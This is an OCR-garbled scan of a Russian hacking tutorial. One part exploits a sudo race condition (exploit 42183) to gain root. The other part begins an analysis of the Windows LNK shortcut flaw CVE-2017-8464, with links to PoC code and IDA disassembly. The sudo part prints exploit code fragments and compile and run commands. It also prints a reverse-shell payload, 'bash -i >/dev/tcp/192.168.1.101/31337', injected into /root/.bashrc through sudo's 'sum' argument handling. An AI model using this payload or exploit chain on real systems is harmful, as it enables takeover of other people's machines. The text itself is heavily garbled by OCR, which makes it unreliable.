118: if (read(inotify fd, &event, sizeof(event)) '!= (ssize t)sizeof (event))
die();

119: if (kill(pid, SIGSTOP)) die():

Tenepr HauMHaeM reHepUpOBaThH TCEBAOTEPMHUHANBI (pty) MpU MOMOLIHM openpty, NMoka
He co3ganum pty ¢ tunom 136 u Homepom 57 (ToT cambiii Homep 34873 U3 cUMIIMHKA
¢ npobenamu). [Tocse 3TOro NMpoomKaeM BITIOJIHEHHE MTPOLIEcca sudo:

b

1931 for (i = 0; ; i++) {

124: if (i >= sizeof (pts_fds) / sizeof (*pts_fds)) die();

125¢ int ptm fd;

126: char tmp[PATH MAX];

127 s if (openpty (&ptm_fd, &pts_fds[i], tmp, NULL, NULL)) die();
128: if (!strcmp(tmp, pts)) break;

129: if (close(ptm fd)) die();

130: }

134: if (kill(pid, SIGCONT)) die();

Nnem panbiue no koxay. BHOBL MOHUTOpUHT nupekTopun /dev/shm/_tmp, TONBKO Tenepsb
Mbl oxunaem coObitis IN_ CLOEXEC. OcraHapnuBaeM mpoLece focie Toro, kak sudo
BBIMOTHUT QyHKIHIO closedir:

136: if (kill (pid, SIGSTOP)) die():
1373 if (event.wd != working wd) die();
138: if (event.mask != (IN _CLOSE NOWRITE | IN ISDIR)) die();

Ha stot pa3 mbl 3amensiem /dev/shm/_tmp/_tty (CHMIMHK, KOTOpbIA YKa3bIBaeT Ha Te-
nepb y)Ke CyLIeCTBYIOUIHMI pty) CUMIMHKOM Ha (aiil, B KOTOPbI HYKHO NPOW3BECTH
3amvch (TARGET _FILE). M BHOBB TipoioJpKaeM BBITIOJIHEHHE TTpoiiecca:

140: if (rename (TTY SYMLINK , TTY SYMLINK)) die();
141: if (kill(pid, SIGCONT)) die();
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Puc. 1.7. YcnewHas pabota akcnnouta. daitn nepesanucaH

DKCIIONUT 3aBepllinil cBOKO padoTy, a B daiin /ete/init.d/ README 3anucanuch pesyib-
TaThl paboThl NporpaMMel sum (puc. 1.7).

npaKTVI‘IeCKaFl JKCcnnyartauusa
M noBbileHune anBMneruﬁ

CHauasa Hy»KHO pellnTh, YTO ¥ B Kakoi daiin mbl Oyaem 3anuceiBaTh. [lepBoe, uto npu-
LLJIO MHE Ha YM, — 9TO 7100aBUTh 110J1b30BaTENO root B daiin .bashre 3amyck npocreHs-
KOro 03KKOHHEKT-1Ie/1a.

nohup bash -i >/dev/tcp/192.168.1.101/31337 0<&l 2>&l

rae 192.168.1.101 u 31337 — IP-anpec v nopt moero cepBepa. Pelienue He npeTeHayer
Ha KaKy-TO CKPbITHOCTb M YHHBEPCAIBHOCTb, HO B TECTOBbIX LIEJISIX BIOJHE MOJOM/IET.
PenakTupyem MCXO/THHUK CIJIOUTA, MEHSAEM CTPOKY 42 Ha cleqyolyo:

" ¥~ / ~aat ~
/root/.bashrc

[locre }’Cﬂel_ﬂHOﬁ SKCIUTyaTallii OCTAHETCA AOXKAATbCsd MOMEHTA, KOrja IoJib30BaTellb
root BOMIET B CUCTEMY, U Hall KO 6}'LI€T HCTIOJTHEH.

BpCMH KOMIHWJIMPOBATH SKCIUJIOUTHI:
gcc —o 42183 42183.c -lutil -dgdb
A ucnonwzoBan onuuio -d a8 g06aBlIeHUs OTJIALOYHOH MHOOPMALIMKM B OTKOMITHIIHPO-

BaHHbIN 6l/lHapHMI\' — Hd ‘TOT CJ']}"IHH, €CJIN ﬂOHaIlO6PITC$[ MOCMOTPETL Ha pas3/IMYHbIC
9Taribl 3KCI1yaTaliiv ¢ nNoMOUbO ﬂe6arrepa.
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dopmar 3armycka SKCIIOUTA CIIeIY IO

./42183 <xoMmaHIa, paspelleHHas IUls 3alycka uyepes sudo> <mapaMeTphl 3amlycka
3TOM KOMaHIsD>

[TocMoTpeTh cMCOK KOMaH/, KOTOpbIE MOJIb30BaTelb MOXET BBIMOJHATH 4epe3 sudo,
MOXKHO C MOMOIIBK KOMaH/Ibl sudo -1. Y Hac 310 /usr/bin/sum (puc. 1.8).

% Cent0ST - VMware Workstation 12 Player = O X

Payerv | Bf v B B LI

Puc. 1.8. Cnucok 4oCTynHbIX KOMaHA AN BbINONHEHNUSA Yyepe3 sudo

YtoObI 3anuchiBaTh OMpeaesieHHbIe JaHHbIe B (aiii, HY»KHO YMeTh KOHTPOJIMPOBATh pe-
3yJIbTAT BbIBOJIa MIPOrpaMMBbl, pa3pelieHHOM /s 3arycka yepe3 sudo. ITO MOXHO JeslaTh
HECKOJILKUMH crioco0amu. CaMbii OYEBHIHBIN — 3TO UCXOMTh U3 BO3MOXKHOCTEH caMo-
ro 6uHapHuka. Hanpumep, sum npunumaet umsi ¢aiia B KayecTBe apryMeHTa, a eclid
Takoro (haiia He CyIlecTByeT, To Oy/IeT BbiBeJeHa olnoKa.

[attacker@visualhack ~]$ sum blah.blah
sum: blah.blah: no such file or directory

BTopoii cioco6 — Gonee yHUBepcanbHbIM U MOAXOANUT NOYTH 715 1000 YTUIUTBL. DTO
TPIOK C HEBAJIMAHBIMU MapamMeTpamMH U MEPEHOCOM CTPOK.

Bo3bMeM komaHIy sum --blah. Pe3ynbTat ee paboThl OyIeT BbIMIAIETH CIEAYIOLHUM 00-
pazom:

sum: unrecognized option '--blah'
Try 'sum —-help' for more information

HazBaHue mapamerpa otoOpaxaercs B Tekcte omnOku. Tak Beaer cebs Gonbluas 4acTh
NporpamMM, KOTOpbIE€ MCIMOJIB3YIOT apryMeHThl. [lOHSTHO, 4TO ecnu MpOCTO yKasarh
Hall ILeNJI MOocie -- U 3arucath pe3yJibTaT B TakoM BHJe B (aiil, TO KOMaHJa He BbIMOJI-
HUTCA.

sum: unrecognized option 'nohup bash -i >/dev/tcp/192.168.1.101/31337 0<&l 2>&1'

Ham Hy>xHO 3amumcarhb wenn ¢ HOBOM cTpoku. [l sToro Bocmoab3dyemcs (puyeid Oatua
$'cTpoka’. B crpoke, yka3zaHHOW B OJMHApHBLIX KaBbIYKAX, WLIYTCSA MU MApCATCs Creuu-
aJIbHbIE [10CJIe10BaTeIbHOCTH (0OpaTHbIi ciew mmoc cumBoia). CriMcok noanep)xkuBae-
MBIX 3CKEHIN-MOCIe10BaTeIbHOCTEH MOXKellb MOcMOTpeTh 3/ech: https://www.gnu.org/
software/bash/manual/html_node/ANSI_002dC-Quoting.html.
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HaanMep, KOMaHIa sum $'--\nHELLO\nWORLD\n' BEPHET OIHI/I6Ky BH1a

sum: unrecognized option '--

SV . A, (WIS, R : S 5 e
Try 'sum --help' to more information.

Tak y»ke MOKHO 3amuchiBaTh Haml wweit B .bashre, u on BemonHutcs. Tonbko obpaTu
BHYIMaHWE Ha OCTAlol[Hecs OJMHApPHBbIE KaBbIUKHU: €CIM MX HE 3aKphiTh, TO bash Oyaer
CUMTATh BCKO KOMaH/1y 00bIYHOM cTpokoi. [loaToMy nenaeM Tak:

[attacker@visualhack ~]$ sum $'--\'"\nnohup bash -i >/dev/tcp/192.168.1.101/
31337 0<&l 2>&1\n

41 oJjiydya€M Ha BbIXOAEC:

sum: unrecognized option '--'
nohup bash -i >/dev/tcp/192.168.1.101/31337 0<&l 2>&1

L]

Try 'sum —--help' to more information.

BriBoa nepenaHHbIX MapaMeTpoB MoKa3aH Ha puc. 1.9.

i

;
= e T

i “# Cent0S57 - VMware Workstation 12 Player = O X

|

|

Puc. 1.9. BuiBoz, nepefaHHbiX NapaMeTpoB C HOBOW CTPOKK

anULWO Bpems CO6paTb BCE€ BOCIMHO U 3aIllyCTHUTb 3KCILUIOUT:
./42183 sum $'--\'"\nnohup bash -i >/dev/tcp/192.168.1.101/31337 0<&l 2>&1\n'

B pesyabrare nmosnyyaem uaMeHeHHbI ¢aiin .bashre, B KOTOpbIH 3anmucascs Ham neinoazn
(puc. 1.10).
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55

4% CentQST - VMware Workstation 12 Player - O X

Elayerv %g i B

bas

ann nameHes

I wiunconf iy r.unconf ined %

Puc. 1.10. PeaynbTaTt paboTbl 3KCNIOUTa — NONy4YEeHNE PYTOBbIX NPUBUNErUN

Hanbie geno TonbKo 3a TBoei (aHTaszuei: uTo ¥ B Kakoi Qaiin nucate. 5 yBepeH, Tbl
Haiewp U3SLHbIA cnocod MOBbILIEHUs TPUBUIETHI — 0€3 0XKMJaHWsi MOMEHTa, KOrja
B CUCTEMY BOMJET root. YBUIeTh, Kak padoTaeT IKCIJIOMT BKMBYIO, MOXKHO Ha CIIEyIO-
eM Buaeoposidke: https://vimeo.com/224623724.
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2. dKcnsyaTupyem onacHyr ysa3BUMOCTb
B apnbikax Microsoft Windows

HeaH al Ly Komuccapoe

Kaxapiit, ko nonb3oBaics Windows, xopowo 3Haer, 4to Takoe sApiabik. OQHaKo 3TOT
3HAYOK CO CTPEJIKOH JIalieKO He TaK MPOCT, KaK MOJKET M0Ka3aThCs, M MPH OMNpeIeIeHHbIX
YCIOBUSIX OH OTKPBIBA€T LIMPOKHE BO3MOXHOCTHM Ul aTakyroulero. S pacckaxy, Kak
c/ienaTh «S0BUTBIHY SPIIBIK MU KaK C MOMOLIBIO (DJI€LIKH BBIMOIHATH MPOU3BOJIbHBIN KO
Ha LeJIeBOH CUCTEeME.

UcTopuyeckum aKCKypc

Bce nauanocsk ewe B 2010 roay, korza B nabauke Beruibul dkeruiout ans Windows Bep-
cuit 7 1 HUoKe. DKCIUIOUT MO3BOJIST aTAKyIOLIEMY BbITIOJHUTL NPOU3BOJIBHBIN KO/ B CHC-
TeMe, MPUYEM T10J1b30BATEIO TOCTATOYHO ObIIO BCETrO JIMLIb NEPEHTH MO CChUIKE.

DTOT SKCIUIONT MCTIONB30BAICS KAK OJIMH W3 BAPMAHTOB PacrpocTpaHeHus HeOe3bI3BeCT-
Horo uepss Stuxnet. Korja KTo-To BeTapsl GelIKy B KOMIBIOTEpP, YEpBb 3apaxan ee,
konupys BpeaoHocHbld DLL, u co3naBan cneunanbHbiii apasik. Ecau Ha mMalnuxe, B Ko-
TOPYIO MOTOM BCTaBJISUIM HOCHUTE/b, ObllIa BKJIIOUEHA (yHKLMS aBTO3amycka, BpPeIoHOC-
HbII KO W3 OMOIMOTEKH BBIMOJIHSAICA.

WMMnakT npu 5ToM He OrpaHUuYMBAJICS OJHOW TOJIBKO (hrielKol: Ko Takxke cpabaThiBall,
eciM noJjb3oBarenb nocetan BpeaoHocHbl URL, KOoTOpbIH yka3biBaa Ha CETEBYIO MM
JIOKaJIbHYIO NarKy ¢ 9KCIIouToM. B3rnsHys Ha Bech 3TOT yxkac, B Microsoft BeimycTHin
anaedt MS10-046, koTopblii MCTpaBaseT 3Ty ysa3BUMOCTb. BOT TosbKO 3amiaTka nosy-
YWJIaCh He TO YTOOBI YAaYHOM.

B nauane suBaps 2015 roma Hemeukuid wuccinenoBarenb Muxens [epkion; (Michael
Heerklotz) netanbHo u3yumnn 3TOT naTy ¥ Haieln crnocod ero o6oiTH. Pesynbratom pabo-
Tbl ['epkiionia cran otuer Ha koHdpepeHunn Zero Day Initiative (ZDI), npoBoaumoit kom-
nanueit HP. [Tocne ucnpasnenus natya B mapte Toro xe 2015 roaa vccnenosanue G110
onybnukoBaHo. Mmeetcs naxke Bu1eo aeMoHcTpauuu paboTel skcriionTa. [locne storo
B Microsoft BbikaTuiM creayloumii naty — ¢ nopsiAKoBbiIM Homepom MS15-018, oanako
M OH HE CMOT MOJIHOCTBIO 3aKPbITh YA3BMMOCTh. B nrone 2017 roaa 6bu1 obHapykeH oue-
peaHoi cnocod ero o6xoma. MMnakT npu 3Tom ocTancs TeM ke — BbINOIHEHHUE TPOU3-
BOJILHOTO KO/1a Ha LIeJIeBOI chcTeMe.
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Ysa3eumMocTb MMeeT HanmmenoBanue CVE-2017-8464, a PoC-skcriiout cosmanu HMopuk
Koctep (Yorick Koster) u nixawk. Hopuk Takoke Hanucan Moy ais Metasploit. MSF
s HE UCIOJIb3YIO MO PEJTMTHO3HBIM COOOPAXKEHHUSIM U MOITOMY B 0030pe Oydy onuparbes
Ha MepBOHAuYa/lbHbIA CcrlouT. HalTu ero Thl cMOXellb, 3aryisHYB B Pero3HTOpUi
k nixawk (https://github.com/nixawk/labs/blob/master/CVE-2017-8464/exploit_CVE-
2017-8464.py).

Ecnu ke xouewb nNpocTo NOTPUITEPUTH YSI3BUMOCTb, TO rotoBbie LNK-daiinst u DLL,
KOTOpasi 3afycKaeT KaJbKyJsSTop, MOXHO Haith no ccelike https://github.com/
3gstudent/CVE-2017-8464-EXP. TeGe ocTaHeTcs AHLIb CKHHYTh MX Ha (IICILKY.

CrteHp

B kadecTBe MOJOMBITHOrO KPOJIMKA VISl TECTAa YA3BUMOCTH 5 Oyy MCMOIb30BaTh BUPTY-
anky ¢ Windows 10 x64. Ilpu pabote ¢ OuHapHbIMH (aiilaMu HaM, KOHEUHO e, NPUro-
autes au3accembiep. He Oynem opurunaibHuyaTth U Bo3bMeM [DA.

Taxoke Ham noHagoOuTCs KakoW-HUOYIb oTiamyuk. S pewwnn ucnoab3oBath WinDbg
B pexHMe oTIaauvka sapa. Bot oauH M3 crnocoGOB HACTPOUTH Yy/asieHHbINH 1ebarruHr
BUPTYaJIKH.

1. 3anycrute WinDbg. 3arem Bbinonnute komauab! File | Kernel Debug. Bo Bruiaake
NET HyxHo yka3atb nopt. Ero Oyzaer caywaTts nporpamMma B 0:KMIaHUHU TOJKIIOUE-
HUS OT OTJIaKMBaeMoi cuctembl. Ellle MOXHO yKa3aTb KJIIOY /Ul LIH(POBaHUS nepe-
JlaBaeMbIX JIaHHbIX BO BpeMs coeiuHeHus (puc. 2.1).

Kernel Debugging ? X

NET USB 1394 Local COM
Kemel debugging over the network

Port Number

Key
time to debug. 1 237

[ ok ] Cance Help

Puc. 2.1. Hactpoitka oTnagku sgpa no cetn B WinDbg

2. BKIIOUUTb peKUM OTJIAAKH Ha FOCTEBOW MalllMHe. B 5TOM HaM MOMOKET KOHCOJIbHAs
ytunuta bededit:

bcdedit /debug on
bcdedit /dbgsettings net hostip:127.0.0.1 port:50000 key:time.to.debug.1337
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rae hostip — IP xoctoBoit OC, port U key — MOPT M KJIIOY, KOTOPbIE ThI YKa3aJl B Ha-
ctpoiikax WinDbg. [locne nepesarpy3ku BUPTYaIKM OHA MOJKIHOYUTCS K OTJIAAUHKY
(puc. 2.2).

"
 §
H
i
k|
|
5
§
]

Puc. 2.2. Nocresas OC roToBa k oTnagke

Oco0OeHHOCTU NUHKOBaHUSA

Uto0Obl NOHUMATH YS3BUMOCThL M YCIIELIHO €€ MPOIKCIUTyaTUPOBATh, HY)KHO CHaYasa pa-
300patbes HenocpeacTBeHHo ¢ camum dopmatom LNK-daitnos. K cyacteio, HaM He
npuaeTcs Mpoaupatbest uepes AeOpu OMHApLIMHBI BCIEMYO, MOTOMY 4YTO pebsTta H3
Microsoft no3aboTuinch ¥ HanMcaau MOAPOOHYIO TEXHHYECKYIO CHeUM(UKaLMIO MoJ
nazsanuem Shell Link (.LNK) Binary File Format, u onybaukoBanu ee mo aapecy
https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-

SHLLINK/[MS-SHLLINK]-160714.pdf. byaem 3arnsiabiBaTh Ty/1a NepUOIUYECKH.

Ewe nam nonapobures yTuaura A1 nmpocMoTpa JeTalbHoi uHdopmauuu mo ¢aiinam
LNK. Tak xak mos ocroHas OC — 310 Windows 10, To s1 BOCNIONIB3YIOCH MPHIIOKEHHEM
LNKParser (https://storage.googleapis.com/google-code-archive-downloads/v2/code.
google.com/Ink-parser/Ink_parser_cmd.exe). Ecau Tbl Muews 4yTo-T0 riathopMoHe-
3aBUCUMOe, TO nonpoOyi moaynb pylnk (pip install pylnk) mis Python, kotopsiii
MOXCHO ckadath ¢ caiita https://pypi.org/project/pylnk/0.2/.

Shell Link Binary File Format cocTouT u3 nocjieaoBaTeIbHOCTH CTPYKTYp, KOTOpbIE pe-
ryavpytotcs ripasuiamun ABNF (Augmented Backus-Naur Form). [IpaBuna sxe onucansi
B crieundukaunn RFC5234 (http://www.rfc-editor.org/rfe/rfc5234.txt).

HETT T TNK QUL T TNW UERADEDR NWT N m THT TOT) TTINETNEO] rQm

10L101 ) |LINKLINEO

CoBokynHocTb 3TUX CTPYKTYp M Hasbiaetcs shell link, a B npocToHapoabe — «ApIibIK».
B HeM coaepkuTCs He TOJIBKO CChUIKA HAa MECTOMOIOKEHHE OOBEKTA, KAK MOKHO ObIJIO
0JKH/1aTh, HO U MHOKECTBO JPYTUX NMapaMeTpoR.
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PaccMoTpuM Bce 310 Ha xuBOM mpumepe. Jlis 3Toro cozgaaum spiibik Ha Jt060# daiin
(s1 co3nan st explorer.exe) u HatpaBuM Ha Hero LNKParser (puc. 2.3):

Ink parser cmd "explorer.exe - Shortcut.lnk"

PC » Data(D:) » VisualHack

#% explarer.exe - Shortcut

™

&8 Command Prompt \” (w]

Puc. 2.3. MNMpocmoTp cogepxunmoro apneika ¢ nomoubio LNKParser

30ech s PacCMOTPIO TOJIBKO HY’KHblE Ul CO3/aHHUsl 3KCIUIOWTAa CTPYKTYpPbI, Thl K€
MOXKeLb MOKOMaTbes B TOHKOCTAX crpoeHus .LNK B cBoe yaoBosibCcTBME. 3a 3arpysKy,
aHaliM3 W MapCUHr JaHHbIX W3 (aiina spiasika orBevaeT (yHkuus CShellLink::
LoadFromStream u3 6u6nnorexu windows.storage.dll (puc. 2.4).

-text:101DCB2E ; " 8 R ¥

-text:101DC82E |

.text:101DCB2E . nit t t

-text:181DC82E

-text:101DC82E ; private: long __thiscall CShelllink::_LoadFromStream(struct IStream =, unsigne
-text:101DC82E ?_LoadFronStream@CShelllink@EAREJPAUIStrean@@KBZ proc near

tang)

-text:101DC82E 3 DE XREF

-text:101DC82E
-text:101DC82E

| -text:1s1DC82E v

.text:101DC82E

.text:101DC82E
-text:191DC82E ;

iLink: ¢

= dword ptr -278h
= hyte ptr

.text:101DC82E = dword ptr
.text:181DCB2E = dword ptr
.text:101DC82E - = dword ptr

| -text:1sipceze = dword ptr
.text:1B1DC82E va = byte ptr

| . text:101DC82E = dword ptr &

| text:1010c82E - dword ptr #ch

-text:181DC82E

-text:181DCB2E push 260h

| -text:181DC833 nov eax, offset sub_10247906

| * .text:1010c838 call  __EH_prologd_GS

| * -text:101DcB3D nou edi, ecx
.text:101DCBIF nov ebx, [ebp+a 1

| © .text:181Dc842 call _Re ataBCShel1Link@EARERXZ
{.text:101DC8A7 nou

| * l.text:181DC84A and

| -text:181DC851 nov

Puc. 2.4. dyHkumna napcurra cogepxumoro LNK-caina

ITepBriii 00s13aTebHBII 010K, KOTOPBIN JOJ/KEH MPUCYTCTBOBATh B Ka/IOM yBakarolleM
ce6s LNK-daiine, — sro SHELL_LINK_HEADER. Ilo Gojbiomy cuerty, 3TO €AMHCT-
BEHHasl o0si3aTesibHasi CTPYKTypa B sipibike. OHA CONEPKUT MACHTU(HUKALMOHHYIO UH-
(opMaLMIO, BpeMEHHbIe METKH M (laru, KOTOpbIe ONpeeifaioT HaTMu1e WM OTCYTCTBUE
JOMOJHUTENbHBIX OJ0KOB ¢ uMHpopmauueit, Bkmouas LinkTargetiDList, LinkInfo u
StringData. Ctpykrypa 6oka SHELL _LINK HEADER nokazana Ha puc. 2.5.



et
~N

HeaderSize

LinkCLSID (16 bytes)

LinkFiags

FileAttributes

CreationTime

AccessTime

WriteTime

FlleSize i

IconIndex

ShowCommand

HotKey Reservedi

Reserved2

Reserved3

Puc. 2.5. Ctpykrypa 6noka SHELL_LINK_HEADER

[poiinemest Mo oCTalbHBIM CTPYKTYpPaM.
O HeaderSize (4 Gaiita) — pa3mep 6noka Header, on puxcuposanubiit — 0x0000004C.

O LinkCLSID (16 0aiiT) — yHuKkanbHblii uaeHTudukartop kiaacca (CLSID). CtpykTypa
CLSID — 510 o6onouka s uaeHtudukatopa COM-knacca. Takke umeer hukcu-
poBanHoe 3HaueHue — 00021401-0000-0000C000-000000000046.

O LinkFlags (4 Oaiita) — ¢naru, KoTopble OTBEHalOT 3a ONUMHM spibika. Hekotopbie
(hnaru 03HaYaKOT HAJIMYKE JIOTIOJIHUTENIbHBIX CTPYKTYP B daiie.

a

FileAttributes (4 6aiita) — atpuOyThl (aiina, Ha KOTOPBIH ccbllaeTcs APIbIK.

O CreationTime (8 6aiit), AccessTime (8 Gaiit), WriteTime (8 GaiiT) — Bpems co3na-
HUs daiina, MocIeHero A0CTyrna K HeMy U €ro H3MEeHEeHHsI.

a

FileSize (4 Gaiita) — pa3mep ¢aiina. @opmat — 32-0uTHOE O€33HAKOBOE LIEIIOE.

O IconIndex (4 Gaiita) — MHAeKC MKOHKM (aiina B ykazaHHOM XpaHunuie. Popmar —
32-0uTHOE Oe33HaKOBOE LIENIOE.
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O ShowCommand (4 Gaiita) — BHJ OKHa MPUJIOKEHUS, 3aMyLIEHHOrO 4epe3 sApJblK.
®opmar — 32-6utHoe Ge33HakoBoe wenoe. OH MOXKeT ObITh TpeX BHUIOB: HOpMaslb-
Heli (SW_SHOWNORMAL, 0x00000001), pa3BepHyTblii Ha Becb 3kpaH (SW_
SHOWMAXIMIZED, 0x00000003), ceepuytbiii (SW_SHOWMINNOACTIVE,
0x00000007).

O HotKey (2 6aiita) — ctpykrypa HotKeyFlags oTBeuaer 3a HazHaueHHble SpIbIKY
ropsiuve Ki1aBuIlM. B HacTpoiikax JIMHKa Tbl MOXKeELIb yKa3aTh Tpebyemoe coueTaHue
kiaBuil, U ecau cam LNK nexxur Ha paGodem cTosie WM B MEHIO, TO MPH UX HaKATHH
oH Oyzet cpabaTbIBaTh.

O Reservedl (2 Gaiita), Reserved2 (4 Gaiita), Reserved3 (4 6aiita) — 3ape3epBupo-
BaHHbIe 3HaYeHHs. [l0/KHbI ObITh HYJIEBBIMHU.

M3 Bcero storo MHoroo6pasus Hac unrepecyet Tosibko LinkFlags. Cekuus coctout us
32 6uT, KaX/Iblii U3 KOTOPBIX OTBEYAET 3a pa3Hble ONLMHU Spiibika (puc. 2.6).

(0\123456,;\890123456789012345676901

A N A

Puc. 2.6. butoBasi macka cekuum LinkFlags

Hyxubie Ham 6utel — 510 0 (HasLinkTargetIDList) u 7 (IsUnicode). C IsUnicode,
JAyMalo, BCe SCHO M3 Ha3BaHWA, a BOT HyJeBOW OWT paccMmoTpum mnoapoOHee. daar
HasLinkTargetIDList yka3biBaeT, 4To cieayomnm O0J0KOM, HAYLLIMM 3a XHAepoM, Oy-
net crpykrypa IDList (puc. 2.7).

) explorer.exe - Shortcut.Ink

Offset (n) 00 01 02 03 04 05 06 07 08 0% OA 0B OC OD OE OF
00000000
00000010

- -

Puc. 2.7. Ctpykrypa IDList B chaine neruTMMHOro sapnsika
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Oyukuus CShellLink:: LoadIDList cHauana uuraer mepBbie ABa OaiTa AaHHBIX M3
6710Ka (3TO pazmep CTPYKTYpbl) U BblAeseT TpeOyeMoe KOIMYECTBO NMaMSTH JIs €ro 3a-
rpy3k# (puc. 2.8).

IDA View-A Hex View-1 A Structures
.text:101DC594 T o
.text:101DC594 : ¢

.text:101DC594

| .text:101DC594 ; private: long _ thiscall CShelllink:: LoadIDList(struct IStream x)

| .text:181DC594 ?7_LoadIDList@CShellLink@@AAEJPAUIStrean@@@Z proc near

| .text:101DC5%94 3 LOBE KREF: CShelltink:: LoadFromStrean(iStrean *,ulong)+ED}p
.text:181DC594
-text:101DC594 wvar ¥ dword ptr -4
.text:101DC594 arg_# = duword ptr @

.text:101DC594
-text:181DC594 ; ruH URK AT . 1824E 168 SIZE G0DGBI2F BYTL
.text:101DC594

.text:101DC59%4 nov edi, edi
.text:101DC596 push ebp
.text:101DC597 mou ebp,
.text:161DC599 and esp, 9
.text:101DC59C sub esp, 2

.text:161DC59%F mov eax,
.text:161DC5A% xov eax, esp
.text:101DC5A6 mov [esp*‘/(’;?em.)rw'a], eax

security_cookie

Puc. 2.8. dyHkuma CSheliLink::_LoadlDList gns napcuHra cogepxumoro cTpykTypsl IDList

3arem naunHaetcs uyTeHue gaHHbIX U3 LINKTARGET IDLIST. Kax sl snemMeHT 1ot
CTPYKTYpbl — 3TO 4acTh MyTH J0 00beKTa, Ha KOTOpbIM ccbutaeTcs spibik. CHcTeMa
MPOXOJUT MO KakaoMy TakoMy aiemeHTy ItemID u unraeT ero nanHble.

[Tyth 3anuceiBaercs B koaupoke ASCII w/unn UTF-16. B neruTMMHOM sipibike Takke
MMEIOTCS MeTaJaHHble Ul KaXA0ro sjaeMeHTta myTd. Tel MX Moxeus HabmoaaTh Ha
puc. 2.9, HO As FKCIUTyaTauMy OHU HaM HH K YeMy.

Puc. 2.9. bnok IDList c meTagaHHbIMM B NETMTUMHOM Spribike

®dopmar Trna — uaeHtudukarop kinacca CLSID. [Torck COOTBETCTBHS BEAETCS B BETKE
peectpa HKEY CLASSES ROOTCLSID. Hanpuwmep, B Haiem ciyyae GUID oObek-
ta paseH 20d04fe0-3aea-1069-a2d8-08002b30309d, uto B npocTpaHcTBe UMEH 000J10Y-
ku Windows cootsercteyer My Computer. [TonpoGHee 06 5ToM MbI TOrOBOPHM Ha 3Ta-
rie HarnMucaHus SKCIIONTA.
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C xunepom OGonee-meHee pasoOpanuch, Terepb nepeHocumes B koHel LNK-caiina,
K paszeny aononHurenbHoi nHpopmannn ExtraData.

EXTRA DATA = *EXTRA DATA BLOCK TERMINAL BLOCK

OH MOXeT BKJIIOYATh B ce0st MHOTO JIOTIOJIHUTENBHBIX CTPYKTYP.

EXTRA DATA BLOCK = CONSOLE_PROPS / CONSOLE FE PROPS / DARWIN PROPS /
ENVIRONMENT PROPS / ICON ENVIRONMENT PROPS /

KNOWN_FOLDER PROPS / PROPERTY STORE PROPS /

SHIM PROPS / SPECIAL FOLDER PROPS /

TRACKER _PROPS / VISTA AND ABOVE IDLIST PROPS

3a mapcuHr 3TOoro pasaena orBeuyaer OubOnnoreka shlwapi.dll, a umenHo ¢ynkuus
SHReadDataBlockList (puc. 2.10 a, b).

| .textz101DCY9ED loc_181DCOER: ; CODE NREF: CShelllink:: LoadFronStrean(IStrean x,uiong)+2AF}j |
77 Ltext:101DCYES test esi, esi ‘
i -text:101DCOE2 is short loc_181DCA18
: © il.text:101DC9EN lea eax, [edioﬁECh] i
! -text:181DCYEA push eax |
| .text:181DCYEB push  ebx |
} 7 l.text:1@1DCOEC call ds: _inp SHRzadbatal Readbatablockl st (x,x)
.17 L.text:101DCIF2 mov T esi, eax h
| 7 .text:181DCYF4 test esi, esi ‘
| .text:101DCIF6 Js short loc_181DCA18
| © .text:181DCOF8 lea ebx, [edi+@Can) |
. l.text:181DCIFE cmp dword ptr [ebx], © 1
© 7 .text:101DCAGT jz loc_101DCBAS ]
a
A View-A % IDA View8 B o Hex Wiew-1 Structures
.text:63198D3 SUBROUT I NE === = =
.text:63198D36
-text:63198D30 ; Attributes: bp-based frame
-text:63198D30
-text:63198D30 ; __ stdcall SHReadDataBlockList(x, x)
-text:63198D30 public _SHReadDataBlocklList@s
-text:63198D30 _SHReadDataBlockList@8 proc near s BATA
-text:63198D30 ; -t®
-text:63198D30
-text:63198D30 var_41C dword ptr -41th
-text:63198D30 var_#18 dword ptr -418h

-text:63198D30 uBytes
-text:63198D30 var_ 410
-text:63198D30 var_%40C
-text:63198D30 var_ 408
-text:63198D30 ntien
-text:63198D30 var_4
.text:63198D30 arg 6
.text:63198D30 arg 4
.text:63198D30
.text:63198D30 ; FUNCTION DHUNK AT .text:631A16F6 SIZE GOGEG0RE BYTES
.text:63198D30

dword ptr -41%h
dword ptr -418h |
dword ptr -4BCh |
dword ptr -468h
byte ptr -484h |
dword ptr -4

dword ptr 8

dword ptr 6Ch

|
|
-text:63198D30 nov edi, edi ‘
-text:63198D32 push ebp |

© .text:63198D33 mov ebp, esp

-text:63198D35 sub esp, 41th

-text:63198D3B mou eax, _security_cookie ‘

" .text:63198D40 Xor eax, ebp

b

Puc. 2.10. Bri3os BHelwHet dyHkunm SHReadDataBlockList B npouecce BbinonHerns (a).
PyHkuna SHReadDataBlockList gns napcunra pasgena ExtraData (b)

Ona umraer Bce copepxumoe ctpyktypsl EXTRA DATA u 3arpyxaer ee B NamsThb.

[Tocne 3arpy3ku BbI3bIBaeTCS MpOBepka BATHAHOCTH AaHHbIX — dyHKkuus IsValidDataBlock
(puc. 2.11).
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’ .text:63198F60 ; int _ cdecl IsUalidbataBlock(struct tagbaiABLOCKHEADER =) i
-text:63198F68 7isvalidDataBlock@@VEHPAULayDATABLOCKHERDERMA? proc near [
; CHD

.text:63198F60 GDE XREF: SHReadDataBlockList{x,x)+pDip
‘ -text:463198F68
[ -text:63198F60 n- = byte ptr -%
-text:63198F68
-text:63198F60 BHCTION CHUNK A ext 1681AT/AS SIZF SE8RNLLE
Ltext:63198F68
.text:63198F69 nov edi, edi
Ltext:63198F62 push ebp
-text:63198F63 nov ebp, esp
Ltext:63198F65 push ecx
-text:63198F66 push esi ; unsigned int =
.text:63198F67 nou esi, ecx
‘ ~text:63198F69 push edi ; unsigned int
Ltext:63198F6A xor edi, edi
-text:63198F6C nov eax, f[esi+i]
‘ .text:63198F6F add eax, SFFFFFFFh  ; switch 12 cases
| Ltext:63198F 7% cmp eax, @&nh
~text:63198F77 je short loc_63198F8S ; jumptable 6319¢ defaul 356
‘ Jtext:63198F79 jmp ds:off_63198FEN[eax=h] ; switch jump
.text:63198F88
‘ .text:63198F88
| .text:63198F88 loc_63198F80: 7 CODE XREF: IsUalidDataBiock{tagDNTABLOCKHEADER =)+197)
\ .text:63198F80 A NREF: .tex 531981 Eago
| .text:63198F80 cnp dword ptr (esi], G ; jumptable 63198f79 cases -1610612733,-1610612727
| -text:63198F83 o jb short loc_63198F88 o

Puc. 2.11. ®ynkuus IsValidDataBlock nposepsieT gaHHble u3 ExtraData

